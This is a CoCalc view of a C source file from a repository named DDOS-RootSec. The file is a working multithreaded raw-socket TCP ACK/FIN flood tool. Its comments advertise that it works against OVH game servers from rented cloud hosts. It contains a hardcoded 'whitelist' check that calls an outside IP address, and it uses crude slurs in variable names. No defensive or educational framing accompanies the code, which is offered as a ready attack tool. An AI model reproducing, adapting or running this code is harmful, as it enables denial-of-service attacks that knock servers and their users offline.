Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/oackv1.c
4565 views
1
/*
2
made by googleadmin
3
4
gcc -o oackv1 oackv1.c -pthread
5
6
This script does not need ip spoofing and works on OVHGAME,
7
you can buy servers on clouds like: digitalocean,vultr,linode..
8
9
10
Rememeber remove whitelist function If you dont want to use it "whitelistcheck();" on line 310
11
*/
12
#include <unistd.h>
13
#include <time.h>
14
#include <sys/types.h>
15
#include <sys/socket.h>
16
#include <sys/ioctl.h>
17
#include <string.h>
18
#include <stdlib.h>
19
#include <stdio.h>
20
#include <pthread.h>
21
#include <netinet/tcp.h>
22
#include <netinet/ip.h>
23
#include <netinet/in.h>
24
#include <netinet/if_ether.h>
25
#include <netdb.h>
26
#include <net/if.h>
27
#include <arpa/inet.h>
28
29
#define MAX_PACKET_SIZE 4096
30
#define PHI 0x9e3779b9
31
32
static unsigned long int Q[4096], c = 362436;
33
static unsigned int floodport;
34
volatile int limiter;
35
volatile unsigned int pps;
36
volatile unsigned int sleeptime = 100;
37
38
void init_rand(unsigned long int x)
39
{
40
int i;
41
Q[0] = x;
42
Q[1] = x + PHI;
43
Q[2] = x + PHI + PHI;
44
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
45
}
46
47
unsigned long int rand_cmwc(void)
48
{
49
unsigned long long int t, a = 18782LL;
50
static unsigned long int i = 4095;
51
unsigned long int x, r = 0xfffffffe;
52
i = (i + 1) & 4095;
53
t = a * Q[i] + c;
54
c = (t >> 32);
55
x = t + c;
56
if (x < c) {
57
x++;
58
c++;
59
}
60
return (Q[i] = r - x);
61
}
62
63
int randnum(int min_num, int max_num)
64
{
65
int result = 0, low_num = 0, hi_num = 0;
66
67
if (min_num < max_num)
68
{
69
low_num = min_num;
70
hi_num = max_num + 1;
71
} else {
72
low_num = max_num + 1;
73
hi_num = min_num;
74
}
75
76
result = (rand_cmwc() % (hi_num - low_num)) + low_num;
77
return result;
78
}
79
80
unsigned short csum (unsigned short *buf, int count)
81
{
82
register unsigned long sum = 0;
83
while( count > 1 ) { sum += *buf++; count -= 2; }
84
if(count > 0) { sum += *(unsigned char *)buf; }
85
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
86
return (unsigned short)(~sum);
87
}
88
89
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph, int psize) {
90
91
struct tcp_pseudo
92
{
93
unsigned long src_addr;
94
unsigned long dst_addr;
95
unsigned char zero;
96
unsigned char proto;
97
unsigned short length;
98
} pseudohead;
99
unsigned short total_len = iph->tot_len;
100
pseudohead.src_addr=iph->saddr;
101
pseudohead.dst_addr=iph->daddr;
102
pseudohead.zero=0;
103
pseudohead.proto=IPPROTO_TCP;
104
pseudohead.length=htons(sizeof(struct tcphdr) + psize);
105
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr) + psize;
106
unsigned short *tcp = malloc(totaltcp_len);
107
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
108
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr) + psize);
109
unsigned short output = csum(tcp,totaltcp_len);
110
free(tcp);
111
return output;
112
}
113
114
void setup_ip_header(struct iphdr *iph)
115
{
116
iph->ihl = 5;
117
iph->version = 4;
118
iph->tos = 0;
119
iph->id = htonl(54321);
120
iph->frag_off = 0;
121
iph->ttl = MAXTTL;
122
iph->protocol = 6;
123
iph->check = 0;
124
}
125
126
void setup_tcp_header(struct tcphdr *tcph)
127
{
128
tcph->source = rand();
129
tcph->seq = rand();
130
tcph->ack_seq = rand();
131
tcph->res2 = 0;
132
tcph->ack = 1;
133
tcph->fin = 0;
134
tcph->doff = 5;
135
tcph->window = rand();
136
tcph->check = 0;
137
tcph->urg_ptr = 0;
138
}
139
140
void setup_fin_header(struct tcphdr *tcph)
141
{
142
tcph->source = rand();
143
tcph->seq = rand();
144
tcph->ack_seq = rand();
145
tcph->res2 = 0;
146
tcph->ack = 1;
147
tcph->fin = 1;
148
tcph->doff = 5;
149
tcph->window = rand();
150
tcph->check = 0;
151
tcph->urg_ptr = 0;
152
}
153
154
int socket_connect(char *host, in_port_t port, int sport) {
155
struct hostent *hp;
156
struct sockaddr_in addr,cliaddr;
157
int on = 1, sock;
158
if ((hp = gethostbyname(host)) == NULL) return 0;
159
bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
160
addr.sin_port = htons(port);
161
addr.sin_family = AF_INET;
162
cliaddr.sin_family = AF_INET;
163
cliaddr.sin_addr.s_addr= htonl(INADDR_ANY);
164
cliaddr.sin_port=htons(sport);
165
sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
166
bind(sock,(struct sockaddr *)&cliaddr,sizeof(cliaddr));
167
setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
168
if (sock == -1) return 0;
169
if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
170
}
171
void *flood(void *par1)
172
{
173
char *td = (char *)par1;
174
char datagram[MAX_PACKET_SIZE];
175
struct iphdr *iph = (struct iphdr *)datagram;
176
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
177
int sportne = randnum(55000,64932);
178
sportne = randnum(55000,64932);
179
180
struct sockaddr_in sin;
181
sin.sin_family = AF_INET;
182
sin.sin_port = htons(floodport);
183
sin.sin_addr.s_addr = inet_addr(td);
184
185
int fd = 0;
186
struct sockaddr_in addr;
187
socklen_t addr_len = sizeof(addr);
188
189
int errno = 0;
190
if((fd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
191
{
192
return 0;
193
}
194
195
addr.sin_family = AF_INET;
196
addr.sin_addr.s_addr = inet_addr("8.8.8.8");
197
addr.sin_port = htons(53);
198
199
connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));
200
201
getsockname(fd, (struct sockaddr *)&addr, &addr_len);
202
close(fd);
203
204
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
205
if(s < 0){
206
fprintf(stderr, "Could not open raw socket.\n");
207
exit(-1);
208
}
209
memset(datagram, 0, MAX_PACKET_SIZE);
210
setup_ip_header(iph);
211
setup_tcp_header(tcph);
212
213
tcph->dest = htons(floodport);
214
215
iph->saddr = inet_addr(inet_ntoa(addr.sin_addr));
216
iph->daddr = sin.sin_addr.s_addr;
217
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
218
219
int tmp = 1;
220
const int *val = &tmp;
221
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
222
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
223
exit(-1);
224
}
225
int gayassfuck = randnum(725,1000);
226
unsigned char payload1[gayassfuck];
227
int mb;
228
for(mb = 0; mb <= gayassfuck; mb++){
229
payload1[mb] = 88;
230
}
231
int sumup = sizeof(struct tcphdr) + sizeof(struct iphdr);
232
memcpy((void *)tcph + sizeof(struct tcphdr) + sizeof(struct iphdr), payload1, gayassfuck);
233
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + gayassfuck;
234
235
socket_connect(td, floodport, sportne);
236
init_rand(time(NULL));
237
register unsigned int i;
238
register unsigned int packetcounter = 0;
239
i = 0;
240
while(1){
241
if(packetcounter > 1000){
242
setup_fin_header(tcph);
243
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
244
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
245
tcph->seq = rand_cmwc() & 0xFFFF;
246
tcph->ack_seq = rand_cmwc() & 0xFFFF;
247
tcph->source = htons(rand_cmwc() & 0xFFFF);
248
tcph->source = htons(sportne);
249
tcph->check = tcpcsum(iph, tcph, 0);
250
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
251
setup_tcp_header(tcph);
252
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + gayassfuck;
253
sportne = randnum(45000,64932);
254
socket_connect(td, floodport, sportne);
255
sleep(1);
256
packetcounter = 0;
257
} else {
258
packetcounter += 1;
259
}
260
tcph->check = 0;
261
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
262
tcph->seq = rand_cmwc() & 0xFFFF;
263
tcph->ack_seq = rand_cmwc() & 0xFFFF;
264
tcph->source = htons(sportne);
265
tcph->check = tcpcsum(iph, tcph, gayassfuck);
266
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
267
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
268
269
pps++;
270
i = 0;
271
usleep(1900);
272
}
273
}
274
int whitelistcheck()
275
{
276
printf("Checking whitelist...\n");
277
int portno = 787;
278
char *hostname = "168.138.141.224";
279
280
int sockfd;
281
struct sockaddr_in serv_addr;
282
struct hostent *server;
283
284
sockfd = socket(AF_INET, SOCK_STREAM, 0);
285
if (sockfd < 0) {
286
error("ERROR opening socket");
287
}
288
289
server = gethostbyname(hostname);
290
291
if (server == NULL) {
292
fprintf(stderr,"ERROR, no such host\n");
293
exit(0);
294
}
295
296
bzero((char *) &serv_addr, sizeof(serv_addr));
297
serv_addr.sin_family = AF_INET;
298
bcopy((char *)server->h_addr,
299
(char *)&serv_addr.sin_addr.s_addr,
300
server->h_length);
301
302
serv_addr.sin_port = htons(portno);
303
if (connect(sockfd,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0) {
304
printf("go fuck yourself bastard\n");
305
exit(0);
306
} else {
307
printf("Success!\n");
308
}
309
310
close(sockfd);
311
}
312
int main(int argc, char *argv[ ])
313
{
314
if(argc < 6){
315
fprintf(stderr, "error\n");
316
exit(-1);
317
}
318
whitelistcheck();
319
320
fprintf(stdout, "preparing flood...\n");
321
322
int num_threads = atoi(argv[3]);
323
floodport = atoi(argv[2]);
324
int maxpps = atoi(argv[4]);
325
limiter = 0;
326
pps = 0;
327
pthread_t thread[num_threads];
328
329
int multiplier = 20;
330
331
int i;
332
for(i = 0;i<num_threads;i++){
333
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
334
}
335
fprintf(stdout, "flooding now...\n");
336
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
337
{
338
usleep((1000/multiplier)*1000);
339
if((pps*multiplier) > maxpps)
340
{
341
if(1 > limiter)
342
{
343
sleeptime+=100;
344
} else {
345
limiter--;
346
}
347
} else {
348
limiter++;
349
if(sleeptime > 25)
350
{
351
sleeptime-=25;
352
} else {
353
sleeptime = 0;
354
}
355
}
356
pps = 0;
357
}
358
359
return 0;
360
}
361
362